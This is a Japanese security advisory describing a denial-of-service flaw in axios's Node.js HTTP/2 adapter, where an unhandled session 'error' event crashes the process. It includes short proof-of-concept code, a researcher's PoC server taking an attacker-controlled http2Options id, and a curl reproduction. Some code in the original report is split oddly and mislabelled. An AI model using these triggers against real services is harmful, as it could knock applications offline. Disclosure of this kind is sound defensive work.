Axios: HTTP/2クライアントにおける未処理の'error'イベントによるサービス拒否
## 概要
Node.jsのHTTP/2サポート機能を持つAxiosのバージョンでは、axiosが処理しないClientHttp2Sessionからのエラーイベントが発生すると、呼び出し元のプロセスが終了する可能性があります。
これは、httpVersion: 2を使用するNode HTTPアダプタを使用しているアプリケーションに影響を与えます。悪意のある、利用できない、またはHTTP/2非対応のエンドポイントが、通常のAxiosリクエストの拒否ではなく、予期しない例外を引き起こす可能性があります。
## 影響
影響はサービス拒否です。影響を受けるアプリケーションでは、リクエストの宛先を制御できる攻撃者、または宛先サーバーを操作できる攻撃者は、Node.jsプロセスをクラッシュさせる可能性があります。
これは、デフォルトのHTTP/1.1の使用、ブラウザのXHR/fetchアダプタ、またはaxiosのHTTP/2サポートを有効にしていないアプリケーションには影響しません。
## 影響を受ける機能
影響を受ける箇所:
- Node.js HTTPアダプタ
- httpVersion: 2
- Http2SessionsによるHTTP/2セッションの作成/再利用
- ネットワーク/セッションの障害がClientHttp2Sessionのエラーイベントとして発生
攻撃者が制御できるhttp2Optionsを使用すると、問題が発生しやすくなる可能性がありますが、攻撃者が任意で入力したデータをaxiosの設定に渡すことは、呼び出し元が制御する動作であり、主要な注意点ではありません。
## 技術的な詳細
Http2Sessions.getSession()は、http2.connect(authority, options)を使用してセッションを作成しますが、クローズハンドラのみを登録します。返されたClientHttp2Sessionにエラーハンドラを登録しません。
セッションがエラーを発生させると、Nodeはこれを未処理のEventEmitterエラーとして扱い、例外をスローします。これにより、通常のAxiosのPromise拒否の処理をバイパスし、プロセスを終了させる可能性があります。
## 攻撃の概念実証
```js
import axios from './index.js';
await axios.get('http://127.0.0.1:1/', {
httpVersion: 2,
timeout: 1000
});
```
期待される脆弱な動作:Axiosリクエストが拒否されるのではなく、未処理のECONNREFUSEDセッションエラーによりプロセスが終了する。
## 対策
信頼できない、またはユーザーの影響を受ける宛先に対しては、axiosのHTTP/2を無効にし、修正版がリリースされるまで、デフォルトのHTTP/1.1アダプターを使用してください。また、攻撃者によって制御される値をhttp2Optionsに渡さないようにしてください。axiosの設定は、信頼できるアプリケーションからの入力と見なされます。
<details>
<summary><h3">元の報告</h3></summary>
こんにちは、私はInsiteTech.jpで働くセキュリティ研究者のRelunSecです。
axiosにDoSの脆弱性があることを発見しました。再現方法の例として、以下のサーバーがあります。
```js
const http = require('http');
// ローカルのaxiosバージョンをインポートして、パッチが有効になっていることを確認します。
const axios = require('../../lib/axios.js').default;
const url = require('url');
// 内部リクエストを行うための公開HTTP/2サーバー。
// これは、アプリケーションがHTTP/2でやり取りする可能性のある外部サービスをシミュレートします。
const TARGET_URL = 'https://nghttp2.org/';
const PORT = 3000;
const server = http.createServer(async (req, res) => {
const parsedUrl = url.parse(req.url, true);
const http2optionId = parsedUrl.query.http2optionId;
if (!http2optionId) {
console.warn(`[サーバー] リクエストを拒否しました: http2optionIdパラメータがありません`);
res.writeHead(400, { 'Content-Type': 'text/plain' });
res.end('エラー: http2optionIdクエリパラメータがありません。使用方法: ?http2optionId=value\n');
return;
}
console.log(`[サーバー] http2optionIdが${http2optionId}のリクエストを受信しました`);
// HTTP/2用に構成されたAxiosインスタンスを作成します。
// http2Optionsの'id'は、各セッション構成を一意にします。
const axiosInstance = axios.create({
baseURL: TARGET_URL,
httpVersion: 2,
http2Options: {
// ローカルの自己署名証明書を使用するHTTP/2サーバーをターゲットにする場合は、コメントを外してください。
id: http2optionId, // これは、攻撃者によって制御される一意の部分です
},
// ターゲットが遅い場合に、攻撃者が長時間の待機をしないように、短いタイムアウトを追加します。
timeout: 5000
});
```
```
try {
const response = await axiosInstance.get('/');
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end(`内部HTTP/2リクエストがID: ${http2optionId}で正常に完了しました。\nステータス: ${response.status}`);
} catch (error) {
// 特定のエラー(セッション制限に達したことを示すエラー)をチェック
if (error.isAxiosError && error.code === axios.AxiosError.ERR_BAD_OPTION_VALUE) {
console.error(`[サーバー] 内部HTTP/2リクエストがID: ${http2optionId}で失敗しました: ${error.message}`);
res.writeHead(500, { 'Content-Type': 'text/plain' });
res.end(`内部HTTP/2リクエストがID: ${http2optionId}で失敗しました: ${error.message}`);
} else {
console.error(`[サーバー] 内部HTTP/2リクエストがID: ${http2optionId}で失敗しました:`, error.message);
res.writeHead(500, { 'Content-Type': 'text/plain' });
res.end(`内部HTTP/2リクエストがID: ${http2optionId}で失敗しました: 汎用エラー - ${error.message}`);
}
}
});
server.listen(PORT, () => {
console.log(`PoCサーバーがhttp://localhost:${PORT}で起動しました。`);
console.log(`内部HTTP/2リクエストを宛先: ${TARGET_URL} に送信します。`);
console.log(`リクエストをhttp://localhost:${PORT}?http2optionId=... に送信してください。`);
console.log(`現在の修正による期待される動作: 約100個の異なるhttp2optionIdを使用すると、それ以降のリクエストはERR_BAD_OPTION_VALUEを受け取ります。`);
});
```
私は、最新のGitバージョンで、server.cjsを起動した後、以下のコマンドを実行して、その状況を再現しました。
```rust
relunsec@relunsec:~/software/axios-1/poc/poc$ curl http://127.0.0.1:3000/?http2optionId=hi
curl: (52) サーバーからの応答がありません
```
これは非常に簡単に再現できます。
これにより、HTTP/2セッションキャッシュにおけるDoS攻撃の脆弱性が確認されました。この脆弱性は修正が必要です。攻撃者は、この脆弱性を悪用してサーバーをクラッシュさせ、シャットダウンさせる可能性があります。サーバー自体は適切に記述されており、エラーハンドリングも行われていますが、axios内部のエラーが発生すると、プログラムがクラッシュします。
影響を受けるパッケージ:
- npm (JavaScript) axios: 影響範囲はバージョン 1.13.0 以降、1.20.0 未満。バージョン 1.20.0 で修正済み。